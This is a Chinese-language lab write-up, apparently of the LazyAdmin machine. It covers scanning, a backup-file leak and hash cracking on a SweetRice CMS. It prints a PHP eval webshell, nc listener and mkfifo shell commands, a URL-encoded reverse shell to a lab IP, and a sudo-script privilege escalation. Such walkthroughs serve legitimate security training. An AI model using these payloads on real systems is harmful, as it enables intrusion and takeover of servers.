参考视频:https://www.bilibili.com/video/BV16Tc8eCEKZ/?spm_id_from=333.1387.homepage.video_card.click

Nmap的-F参数用于快速扫描目标主机上开放的端口。它会限制扫描的端口范围,只扫描常见的1000个端口,而不是扫描所有的65535个端口。这样可以加快扫描速度,尤其是在进行初步评估时非常有用。

可以看到端口只有一个ssh口和web口

在浏览器输入ip查看内容:

是一个apache的默认页面,可以看网站源码里面有没有隐藏的信息,按ctrl+u

似乎没有,试试目录扫描,看有没有隐藏的文件:

dirb http://10.10.114.252看到index.php,尝试发现10.10.176.206/content/as/index.php可以打开(这个ip是重新创建的实例)

CMS(Content Management System,内容管理系统)是一种用于创建、管理和修改数字内容的软件工具或平台。它使用户可以轻松地创建和编辑网站上的内容,而不需要深入的编程知识。通常,CMS允许用户通过图形界面进行操作,而不需要直接操作HTML、CSS或其他编程语言。

通过searchsploit查找该CMS有没有已知漏洞

不知道版本是否能对上,可以先看一看


通过-m可以把我们所需的漏洞信息导入到自己的目录下面

with session() as r: 是 Python 中一种使用上下文管理器(context manager)的语法,通常在处理需要自动管理资源的场景中使用。在这个例子中,session()通常是一个会话对象(例如来自 requestsSQLAlchemy 库),并且通过 with 语句块来确保会话的资源被正确管理,自动进行清理和关闭。

语法解释:

  • with 语句:它会自动管理上下文,保证在代码块执行前后做一些操作(如打开和关闭文件、数据库连接等)。
  • session():通常是创建一个会话对象,它用于发起网络请求、数据库连接等操作。在一些库中,如 requests(用于网络请求)或者 SQLAlchemy(用于数据库操作),session() 用来管理连接的生命周期。
  • as r:表示将会话对象 session() 赋值给变量 r,你可以通过 r 来操作会话对象。

分析这段脚本,看来是要在登录成功后进行文件上传,漏洞原理是未对扩展名做出限制

  • 危险文件示例:

    • Webshell(<font style="color:rgb(248, 250, 255);background-color:rgb(41, 42, 45);">.php5</font>):服务器配置可能允许<font style="color:rgb(248, 250, 255);background-color:rgb(41, 42, 45);">.php5</font>扩展名执行PHP代码。
    • .htaccess:可修改Apache配置,将其他扩展名(如<font style="color:rgb(248, 250, 255);background-color:rgb(41, 42, 45);">.jpg</font>)解析为PHP,绕过后续检测。

用另外一个漏洞获取管理员密码,这里是备份文件泄露

上面写可以在指定路径下载所有的数据库文件

目录的位置可以一级一级往上尝试

最后得到:

我们尝试对这串密码进行解密:使用crackstation工具

然后我们登录进去,文件可知管理员账号是manager

根据直接之前的文件上传漏洞脚本可知,漏洞点在media-center

创建一个木马文件去尝试拿到webshell进行操作

这里木马用的是:

<?=@eval($_GET[1]);?>

这里注意上传之后测试的路径,可以直接右键上传的文件点击openlink,这样就不用试了

之前没有接触过,我想知道 whoami有什么用,怎么查看自己当前的权限呢?

如果返回的是 www-data(通常是Web服务器的用户),这意味着你正在以Web服务器的权限执行命令,这通常是有限制的,无法进行一些管理操作。

如果返回的是管理员或root权限的用户名(如 rootAdministrator),则说明你可能已获得较高权限,可能存在安全风险。

所以现在要提升权限

为了提升权限,需要反弹一下shell

现在的我对反弹shell一无所知

关于提权,请看我另外一篇笔记https://www.cnblogs.com/Ex1st/p/18744687/reverse_shell 《提权(先谈reverse反弹)》

反弹shell(这些另外一篇笔记写了)链接

问:我现在正在进行一个测试,目前已经利用木马上传文件漏洞拿到了shell,通过whoami命令查到现在是www-data,老师告诉我要反弹shell,但是我之前没有了解过,请你结合提权中反弹shell的过程和目的详细的介绍和解释

1、首先为什么反弹shell有助于提权?

答:可能当前的shell是受限的,或者非交互式的,无法执行提权操作。通过反弹获得更完整的shell环境,比如使用python的pyt模块生成交互式终端

2、什么是反弹shell

反弹Shell是一种常见的渗透技术,允许攻击者在目标计算机上执行远程命令。通过让目标计算机主动连接到攻击者的计算机,攻击者可以绕过目标机器的防火墙或入站限制。防护措施包括加强防火墙规则、使用IDS/IPS、以及限制用户权限等。

3、hack-tools的使用

rlwrap nc -lvnp 5555

ChatGPT 说:

命令 rlwrap nc -lvnp 5555 结合了 rlwrapnc(Netcat)工具,目的是为 Netcat 提供更好的命令行编辑体验。具体来说,这个命令会启动 Netcat 监听端口 5555,等待反向连接,并为该命令提供 GNU Readline 的功能,以便可以使用命令历史、自动补全等功能。

解释各个部分:

  1. **rlwrap****rlwrap** 中:

    • rlwrap 是一个提供 GNU Readline 功能的工具,它为没有行编辑功能的命令行工具(如 nc)提供命令历史记录、补全和其他编辑功能。
    • 通过 rlwrap,你可以在 Netcat 中使用 键浏览命令历史,使用 Tab 键补全文件路径等。
  2. **nc**(Netcat)**nc**(Netcat)的:
    • nc(Netcat)是一个强大的网络工具,用于建立TCP或UDP连接。它常用于网络调试、监听端口、发送数据或创建反向Shell。
    • 在这个命令中,nc 用来在本地监听端口 5555
  3. **-l**
    • -l 选项使 Netcat 进入监听模式,等待外部的连接。
  4. **-v**
    • -v 选项启用详细模式,显示更多的连接信息。
  5. **-n**
    • -n 禁止进行DNS解析,直接使用IP地址。这意味着Netcat不会将连接的主机名解析为域名,而是直接使用IP地址。
  6. **-p 5555****-第 5555 页**
    • -p 选项指定 Netcat 要监听的端口号,此处是端口 5555

**nc mkfifo**** 的作用**

在网络安全(如反弹Shell)中,攻击者可以利用 mkfifo 创建一个命名管道,并让 Netcat 通过该管道进行远程命令执行。例如:

mkfifo /tmp/f; nc -lvp 4444 < /tmp/f | /bin/sh > /tmp/f 2>&1

解释各个部分:

  1. mkfifo /tmp/f

    • /tmp/ 目录下创建一个命名管道 f
  2. nc -lvp 4444 < /tmp/f
    • 启动 Netcat,监听端口 4444,等待连接,并将输入数据重定向到 /tmp/f
  3. | /bin/sh > /tmp/f 2>&1
    • 通过 |(管道)让 /bin/sh 读取 /tmp/f 的数据,并将输出(标准输出 + 标准错误)写回到 /tmp/f
    • 这样,Netcat 接收到的数据会被 sh 解释为命令,而 sh 的执行结果会通过 Netcat 发送回去。

** **mkfifo** 介绍**

mkfifo 是 Linux 下的一个命令,用于创建 FIFO(命名管道) 文件,它的作用是让多个进程可以通过这个管道进行通信。FIFO 的特点是:

  • 数据是 单向流动 的(类似于 | 管道)。
  • 进程 A 写入数据到 FIFO 文件,进程 B 读取数据。
  • rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.176.206%205555%20%3E%2Ftmp%2Ff

操作:

第一个框填本机IP,第二个框填nc监听的端口

选择nc mkfifo,记得URL编码可以绕过

反弹完shell之后,就可以开始提权了:

1、sudo -l: 检查当前用户对 sudo 命令的授权和权限的命令。具体来说,它会列出用户可以以 sudo 执行的命令和权限级别。

它能够列出有哪些命令是不需要密码就可以以管理员的身份执行的

或者说知道密码的情况下可以用管理员身份执行

这里的nopasswd部分:应该是执行一个pl格式的脚本

一般来说执行定时任务的脚本,比如定时备份,或者定时把某个文件搬运到另外一个地方

如果能够编辑这样的文件,并且可以以管理员的身份执行,就能够提权

首先查看backup.pl的权限,为只读

文件查看权限:

接下来的 9 个字符:表示文件的权限,按三组分开:

前三个字符:表示文件所有者(Owner)的权限

接下来的三个字符:表示文件所属用户组(Group)的权限

最后三个字符:表示其他用户(Others)的权限

r:读取权限(Read)

w:写入权限(Write)

x:执行权限(Execute)

-:没有该权限

这个地方文件的所有者是root,r-x

内容是执行这个文件

这个地方rwx,是可读可写,内容是:

可以通过重定向将echo的输出写入文件,如果文件已存在,则覆盖,如果想追加,用>>

输入新的连接端口的payload,这里是在普通用户执行管理员可以执行的命令,这个命令打开一个文件,这个文件执行另外一个文件b,这个文件b(在root)发送请求,连接到攻击者的主机

对应的监听端口,

执行这个管理员命令,记得加sudo

LazyAdmin打靶笔记的更多相关文章

  1. 打靶笔记-03-vulhub-Moriarty Corp

    打靶笔记-03-vulhub-BoredHackerBlog 一.靶机信息 Name: BoredHackerBlog: Moriarty Corp(中-高级难度) Date release: 29 ...

  2. 打靶笔记-02-vulhub-Hackademic.RTB1

    打靶笔记-02-vulhub-Hackademic.RTB1 一.靶机信息 Name: Hackademic: RTB1(中等难度) Date release: 6 Sep 2011 Author: ...

  3. 打靶笔记-01-vulnhub-moneybox

    打靶笔记-01-vulnhub-moneybox 本篇笔记根据苑老师视频进行学习记录 https://www.bilibili.com/video/BV1Lv411n7Lq/?spm_id_from= ...

  4. webug4.0 打靶笔记-02【完结】

    webug4.0打靶笔记-02 3. 延时注入(时间盲注) 3.1 访问靶场 3.2 寻找注入点 貌似一样的注入点: ?id=1' --+ 3.3 判断输出位置 同前两关一样的位置,时间盲注应该不是这 ...

  5. webug 4.0 打靶笔记-01

    webug 4.0 打靶笔记 1. 显错注入 1.1 访问靶场 1.2 判断注入点 查找一切有参数传入的地方进行测试,注意到有get传参?id=1 猜测后台php中sql语句模板可能为如下几种情况 $ ...

  6. 打靶笔记-04-vulnhub-Jangow

    打靶笔记-04-vulnhub-Jangow 前面两篇名称写成了vulhub,已经更改为vulnhub;vulhub的之后再找个时间集中打一遍. 一.靶机信息 Name: Jangow: 1.0.1 ...

  7. BP神经网络算法推导及代码实现笔记zz

    一. 前言: 作为AI入门小白,参考了一些文章,想记点笔记加深印象,发出来是给有需求的童鞋学习共勉,大神轻拍! [毒鸡汤]:算法这东西,读完之后的状态多半是 --> “我是谁,我在哪?” 没事的 ...

  8. 读吴恩达算-EM算法笔记

    最近感觉对EM算法有一点遗忘,在表述的时候,还是有一点说不清,于是重新去看了这篇<CS229 Lecture notes>笔记. 于是有了这篇小札. 关于Jensen's inequali ...

  9. git-简单流程(学习笔记)

    这是阅读廖雪峰的官方网站的笔记,用于自己以后回看 1.进入项目文件夹 初始化一个Git仓库,使用git init命令. 添加文件到Git仓库,分两步: 第一步,使用命令git add <file ...

  10. js学习笔记:webpack基础入门(一)

    之前听说过webpack,今天想正式的接触一下,先跟着webpack的官方用户指南走: 在这里有: 如何安装webpack 如何使用webpack 如何使用loader 如何使用webpack的开发者 ...

随机推荐

  1. Redis 实战篇——Redis 客户端(Jedis,Luttece,Redisson)

    一.Jedis,Redisson,Lettuce三者的区别 共同点:都提供了基于Redis操作的Java API,只是封装程度,具体实现稍有不同. 不同点: 1.1.Jedis 是Redis的Java ...

  2. STL 容器操作

    vector set转化为vector:vec.assign(set.begin(), set.end()) map 1. map默认从小到达排序,想要从大到小,可以: map<string, ...

  3. Jetbrains系列产品无限时间重置插件

    概述Jetbrains家的产品有一个很良心的地方,他会允许你试用30天(这个数字写死在代码里了)以评估是否你真的需要为它而付费. 事实上有一款插件可以实现这个功能,你或许可以用它来重置一下试用时间.但 ...

  4. LeetCode刷题:343. 整数拆分的完全背包写法解析

    dp的含义表示:从前i个数中挑选,满足和为j的最大乘积为多少.由于是乘积所以dp初始均为1.i为2开始是因为从1开始挑选,j为2开始应为有效数字是从2开始. 进一步空间优化,应为dp[i][j]只与其 ...

  5. Nodejs 实现一个CRC16校验

    近日在开发一个数据平台,据说nodejs比较适合DIRT类型的程序,所以也搞了一把,虽然接收.转发及其报文解析等功能顺利的实现了,但是由于某些报文涉及到应答,故而需要CRC校验,也算是一个小坑吧,故而 ...

  6. 独立看门狗IWDG

    一.简介     STM32F10xxx内置两个看门狗(独立看门狗是12位递减计数器,窗口看门狗是7位递减计数器),提供了更高的安全性.时间的精确性和使用的灵活性.两个看门狗设备(独立看门狗和窗口看门 ...

  7. 0425-FileRead字符输入流

    package A10_IOStream; import java.awt.datatransfer.StringSelection; import java.io.IOException; impo ...

  8. dart集合list方法详解

    List数组有两种声明方式: 01==>List 常用的属性==> length 计算数组的长度 reversed 数组翻转 isEmpty 是否为空 isNotEmpty 是否不为空 L ...

  9. uni-app封装网络请求promise

    在项目的根目录下,创建http文件夹. 然后在创建request.js文件 文件代码如下 export function apiapi(myurl,myget,mydata,tou="Acc ...

  10. 重试机制与 CompletableFuture 拓展

    重试机制与 CompletableFuture 拓展 禁止转载. 本文旨在讨论重试机制的特点和策略,分析常用重试类库的实现,讨论为 CompletableFuture 添加重试机制的方法.文章首发同名 ...